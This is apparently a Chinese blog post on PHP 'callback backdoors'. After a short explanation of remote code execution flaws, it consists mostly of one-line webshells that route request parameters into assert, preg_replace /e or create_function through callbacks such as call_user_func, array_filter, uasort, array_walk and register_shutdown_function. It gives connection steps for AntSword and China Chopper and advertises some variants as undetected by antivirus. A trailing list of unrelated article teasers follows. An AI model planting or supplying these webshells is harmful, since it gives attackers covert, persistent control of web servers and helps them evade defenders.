RCE——回调后门
目录
rce简述
rce漏洞
rce漏洞产生分类
rce漏洞级别
创造tips的秘籍——回调后门
call_user_func
解析
如何执行后门
call_user_func_array
array_filter、array_map
解析
如何执行后门
php5.4.8+中的assert——二参数的回调函数
uasort
uksort
array_reduce()
array_udiff
三参数回调函数
无回显回调后门
单参数后门
其他参数型回调后门
rce简述
rce漏洞
rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。
rce漏洞产生分类
命令执行漏洞:直接调用操作系统(Windows或Linux)命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。
代码执行漏洞:靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()、shell_exec()和passshru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。
eval()函数:eval()是 PHP 中的一个内置函数,它接受一个字符串作为参数,并将该字符串作为 PHP 代码执行
assert()函数:assert()是 PHP 中的一个内置函数,用于检查给定的表达式是否为true,如果传递的表达式是字符串,assert()会将其作为 PHP 代码执行
系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。
调用的第三方组件存在代码执行漏洞:例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。
rce漏洞级别
RCE漏洞通常被认为是高危漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。一旦出现RCE漏洞,攻击者可以获取服务器的命令执行权限,对服务器安全造成极大的影响。
创造tips的秘籍——回调后门
call_user_func
解析
assert在php7.4后的版本被废弃
call_user_func — 把第一个参数作为回调函数调用
$_REQUEST — HTTP Request 变量——默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组
将 $_REQUEST['pass'] 的值作为参数传递给 assert() 函数
<?php call_user_func('assert',$_REQUEST['pass']);
等同于
<?php assert($_REQUEST)
如何执行后门
$_REQUEST['pass'] 的值为 phpinfo();
代码变为:call_user_func('assert', 'phpinfo();')

GET连接 传递GET参数
是否可以给
pass传递一个$_POST[123]AntSword(蚁剑)连接密码处填写
123失败

POST连接 传递POST参数
pass
$_POST[123]
失败

POST连接 传递POST参数
测试添加
evalpass
eval($_POST[123])
成功

GET连接 传递GET参数
测试添加
eval?pass=eval($_POST[123])

call_user_func_array
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array('assert', array($_REQUEST['pass']));
array_filter、array_map
解析
array_filter — 使用回调函数过滤数组的元素
接受两个参数:第一个参数是要过滤的数组,第二个参数是回调函数
<?php$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_filter($arr, base64_decode($e));
GET传参或POST传参——传递的回调函数选择assert,代码对传递的$e进行解码,传递的时候需要传递assert进行base64编码后的值
POST传参——传递一个参数pass,可以选择phpinfo();测试

array_map — 为数组的每个元素应用回调函数
接受两个参数:第一个参数是回调函数,第二个参数是要处理的数组
<?php$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_map(base64_decode($e), $arr);
如何执行后门

php5.4.8+中的assert——二参数的回调函数
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
uasort
uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联
接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数
<?php$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, base64_decode($e));

uksort
uksort() 是 PHP 的一个函数,用于使用用户定义的比较函数对数组的键进行排序。
接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。
<?php$e = $_REQUEST['e'];$arr = array('test' => 1, $_REQUEST['pass'] => 2);uksort($arr, $e);
ArrayObject 是 PHP 的一个类,用于将数组封装为对象
uasort() 是 PHP 的一个函数,用于使用用户定义的比较函数对数组进行排序。
接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。
代码 $arr->uasort('assert'); 会将 assert 作为比较函数传递给 uasort()。
uasort() 会将数组中的元素作为参数传递给 assert()。
<?php$arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert');
<?php$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');
array_reduce()
array_reduce() 是 PHP 的一个函数,用于将数组中的元素通过回调函数依次处理,最终返回一个值。
它接受三个参数:
第一个参数是要处理的数组。
第二个参数是回调函数。
第三个参数是初始值(可选)
<?php$e = $_REQUEST['e'];$arr = array(1);array_reduce($arr, $e, $_POST['pass']);
array_udiff
array_udiff() 是 PHP 的一个函数,用于计算数组的差集,并使用用户定义的比较函数进行比较。
它接受三个参数:
第一个参数是要比较的数组。
第二个参数是要比较的另一个数组。
第三个参数是用户定义的比较函数。
<?php$e = $_REQUEST['e'];$arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php中,可以执行代码的函数:
-
一个参数:assert
-
两个参数:assert (php5.4.8+)
-
三个参数:preg_replace /e模式
三个参数可以用preg_replace。构造array_walk + preg_replace的回调后门:
array_walk()是 PHP 的一个函数,用于对数组中的每个元素应用用户自定义的函数。它接受三个参数:
第一个参数是要处理的数组。
第二个参数是用户自定义的函数。
第三个参数是传递给用户自定义函数的额外数据(可选)。
preg_replace - 执行一个正则表达式的搜索和替换
<?php$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');
无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
<?phpob_start('assert');echo $_REQUEST['pass'];ob_end_flush();
可以写入

单参数后门
php全版本支持,不报不杀稳定执行
<?php$e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['pass']);
<?php$e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['pass']);
<?phpfilter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
其他参数型回调后门
如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串
去“构造”一个满足条件的回调函数
怎么构造?使用create_function:
<?phppreg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
接受一个数组,并将数组的第一个元素$arr[0]传入assert。
类似
<?phpmb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
相关文章:
RCE——回调后门
目录 rce简述 rce漏洞 rce漏洞产生分类 rce漏洞级别 创造tips的秘籍——回调后门 call_user_func 解析 如何执行后门 call_user_func_array array_filter、array_map 解析 如何执行后门 php5.4.8中的assert——二参数的回调函数 uasort uksort array_reduce() …...
JavaScript 调试入门指南
JavaScript 调试入门指南 一、调试准备阶段 1. 必备工具配置 浏览器套件:安装最新Chrome102+,开启实验性功能(地址栏输入chrome://flags/#enable-devtools-experiments)编辑器集成:VS Code安装以下扩展: JavaScript Debugger:支持浏览器与Node.js双端调试Error Lens:实…...
字节真题,问a,b,c指的地址是否相同?
题目: class A{ int a, int d } class B { int b }class C: public A,public B { int b } C* c new C; A* a c; B* b c; 问a,b,c指的地址是否相同? 在 C 中,由于类的继承关系以及内存布局的规则,a、b 和 c 指针的地址可能不…...
2025年03月18日柯莱特(外包宁德)一面前端面试
目录 自我介绍你怎么从0到1搭建项目的webpack 的构建流程手写webpack插件你有什么想问我的吗 2. 你怎么从 0 到 1 搭建项目的 在面试中回答从 0 到 1 搭建前端项目,可按以下详细步骤阐述: 1. 项目前期准备 需求理解与分析 和产品经理、客户等相关人…...
OpenGL ES 2.0与OpenGL ES 3.1的区别
如果硬件支持且需要更高质量的图形效果,推荐3.1;如果兼容性和开发简便更重要,且效果需求不高,2.0更合适。不过现代车载系统可能越来越多支持3.x版本,所以可能倾向于使用3.1,但具体情况还需调查目标平台的硬…...
Unity Shader 学习17:合批渲染
一、基础概念 合批主要是针对这三个概念进行优化减少: ① SetPass Call:一次渲染状态切换,也就是每次切换 材质/Pass 时,就会触发一次SetPass Call ② Draw Call:cpu 调用一次 gpu 绘制函数 ③ Batch:表示…...
带你从入门到精通——自然语言处理(十. BERT)
建议先阅读我之前的博客,掌握一定的自然语言处理前置知识后再阅读本文,链接如下: 带你从入门到精通——自然语言处理(一. 文本的基本预处理方法和张量表示)-CSDN博客 带你从入门到精通——自然语言处理(二…...
vue3 数据监听(watch、watchEffect)
1、watch 1.1基本使用 作用:数据监听 语法: watch(监听的数据, (改变后的数据, 改变前的数据) > { console.log(newVal, oldVal); }) 注意点:watch写法上支持一个或者多个监听源,这些监听源必须只能是getter/effect函数…...
Vue 3中的Teleport:超越组件边界的渲染
Vue 3引入了许多新特性,其中之一便是Teleport。它为开发者提供了一种强有力的方式来控制组件的渲染位置,使得我们可以将组件的内容“传送”到DOM树的任何地方,而不仅仅局限于其父级组件的边界内。这在创建模态框、通知系统或任何需要脱离当前…...
【计算机网络】DHCP工作原理
DHCP(动态主机配置协议) Dynamic Host Configuration Protocol 基于UDP协议传输 DHCP分配IP地址的过程 (1)DHCP DISCOVER客户机请求 IP 地址: 当一个 DHCP 客户机启动时,客户机还没有 IP 地址,所以客户机要通过 DHC…...
Linux网站搭建(新手必看)
1.宝塔Linux面板的功能 宝塔面板是一款服务器管理软件,可以帮助用户建立网站,一键配置服务器环境,使得用户通过web界面就可以轻松的管理安装所用的服务器软件。 2. 宝塔Linux面板的安装 宝塔官网地址:宝塔面板 - 简单好用的Linu…...
JVM - 年轻代和老年代
通过一些问题来讨论 JVM 中年轻代和老年代的内容 为什么要区分年轻代和老年代?哪些对像会进入老年代?什么时候会进行年轻代GC?什么时候会进行老年代GC? 1. 为什么要区分年轻代和老年代? 年轻代中的对象大部分都是短期…...
【C++初阶】---类和对象(上)
1.类的定义 1.1类的定义格式 • class为定义类的关键字,Data为类的名字,{}中为类的主体,注意类定义结束时后⾯分号不能省略。类体中内容称为类的成员:类中的变量称为类的属性或成员变量;类中的函数称为类的⽅法或者成员函数。 •…...
【数据库事务、消息队列事务、Redis 事务、Spring 事务 详细分析】
数据库事务、消息队列事务、Redis 事务、Spring 事务** 的详细分析 在分布式系统和应用开发中,事务管理是确保数据一致性和可靠性的关键机制。以下是针对 数据库事务、消息队列事务、Redis 事务、Spring 事务 的详细分析,包括原理、特点、适用场景和对比…...
2-1 基本放大电路
放大的概念 mV →V mA→A 特征:放大功率(电压与电流)。 本质:能量在控制下的转换。(外接供电电源) 必要条件:有源元件(能量控制原件) 前提:不失真 测试的…...
什么是矩阵账号
矩阵账号是指在同一平台或多个平台上,围绕同一品牌或个人,创建的多个相互关联、协同工作的账号组合。这些账号虽然独立,但在内容定位和运营策略上有所区分,同时又相互引流,共同形成一个网络结构,类似于矩阵…...
【Linux】Ubuntu 24.04 LTS 安装 OpenJDK 8
目录 通过 apt-get 直接安装 JDK 1. 更新 apt 软件源 2. 检查 JDK 是否已安装 3. 安装OpenJDK 4. 检查 JDK 是否成功安装 5. 设置 JAVA_HOME 环境变量 找到需要设置的 Java 路径 使用文本编辑器打开/etc/environment文件 添加 Java 安装路径 应用更改和验证配置 通过…...
xcode开发swiftui项目的时候,怎么调试ui占位和ui大小
有时候元素之间可能存在很大的空间间隔,但是又不知道怎么产生的,无奈我又看不懂xcode里面的Debug View Hierarchy功能,只能使用笨方法,就是给不同的块元素设置上不同的背景色,然后看一下间隙区域到底是哪个背景色填充的…...
测试用例的优先级划分规则
测试用例的优先级划分是根据 业务重要性、风险程度、测试资源 等因素,确定测试执行的顺序,以最大化测试效率和风险控制。以下是常见的优先级划分规则和操作方法: 一、优先级划分的核心原则 风险驱动 高风险功能(如核心支付流程&a…...
信息安全的数学本质与工程实践
信息安全的本质是数学理论与工程实践的高度统一。在这个数字空间与物理世界深度融合的时代,信息安全已从简单的数据保护演变为维系数字社会正常运转的基础设施。对于计算机专业学习者而言,理解信息安全需要超越工具化认知,深入其数学内核与系…...
第 6 章:优化动态分配内存的变量_《C++性能优化指南》_notes
优化动态分配内存的变量 第六章核心知识点详解总结第六章 动态内存优化 重点难点梳理 一、多选题(每题至少2个正确答案)二、设计题答案与详解多选题答案设计题答案示例 第六章核心知识点详解 动态内存分配的开销 知识点:动态内存分配需要调用…...
k8s kubernetes dashboard一直CarshLoopBackoff
使用 kubectl get pods -A -o wide 发现pod一直CarshLoopBackoff 通过 kubectl describe pod kubernetes-dashboard-7c4f8ff86d-7k7bd -n kubernetes-dashboard 获取详细信息 发现一直报错 Warning Unhealthy 10m (x31 over 34m) kubelet Liveness probe fail…...
[C++面试] 你了解视图吗?
一、入门 1、什么是 C 视图(View)?请简要说明其概念和用途 它提供了对序列(如数组、容器等)的非拥有性、只读或可写的访问。(就像是个透明的放大镜,它能让你去看一组数据,但它自己…...
Vue3 项目通过 docxtemplater 插件动态渲染 .docx 文档(带图片)预览,并导出
Vue3 项目通过 docxtemplater 插件动态渲染 .docx 文档(带图片)预览,并导出 预览安装插件示例代码项目目录结构截图实际效果截图 动态渲染 .docx 文档(带图片),预览、导出安装插件docx 模板文件内容完整代码…...
ollama迁移已下载的单个模型到服务器
ollama迁移已下载的单个模型到服务器 场景 ollama是面向用户级的,部署和运行都很简单,是否高效就另说了。但最起码,他能充分利用用户的硬件设备,在GPU不足也能调用cpu和内存去加持。 ollama运行的模型基本是量化版本的…...
Photoshop 2025安装教程包含下载安装包,2025最新版图文安装教程
文章目录 前言一、Photoshop 2025下载二、Photoshop 2025安装教程1. 安装包解压2. 找到安装程序3. 以管理员身份运行4. 安装选项设置5. 选择安装路径6. 开始安装7. 安装完成8. 启动软件9. 软件主界面 前言 无论你是专业设计师,还是刚接触图像处理的新手,…...
【Python · PyTorch】时域卷积网络 TCN
1. 概念 1.1 定义 TCN 是时域卷积网络(Temporal Convolutional Network)的简称。TCN是于2018年 Shaojie Bai 等人提出的一个处理时序数据的卷积模型。 TCN结合了CNN卷积并行性计算和RNN长期依赖的优势,CNN可在多个通道同时处理卷积核运算&…...
Mysql update更新数据执行流程
update 的执行流程是以select查询为基础执行的!!你不明白select执行流程?没关系,这篇博客照样让你明白,update执行流程! 存储引擎是什么? 如果把数据库比作一个大仓库,那么存储引擎…...
WMS WCS系统架构
1.1立体仓库现场网络架构图 1.2立体仓库WMS系统与WCS系统架构 1.3系统技术选型 WEB端技术:node.js、vue 、element、jquery、html、js、css等 API端技术:spring boot 、msyql、redis、mybatis等 WCS技术:c#、winform、OPC、socket、S7等 …...
数据结构5(初):续写排序
目录 1、外排序 2、计数排序 1、外排序 上一节中提到的排序都可以用来进行内排序,但是只有归并排序的思想可以用来进行外部排序,因为文件数据是没办法像数组那样进行访问的。 例如: #include <stdio.h> #include <assert.h> …...

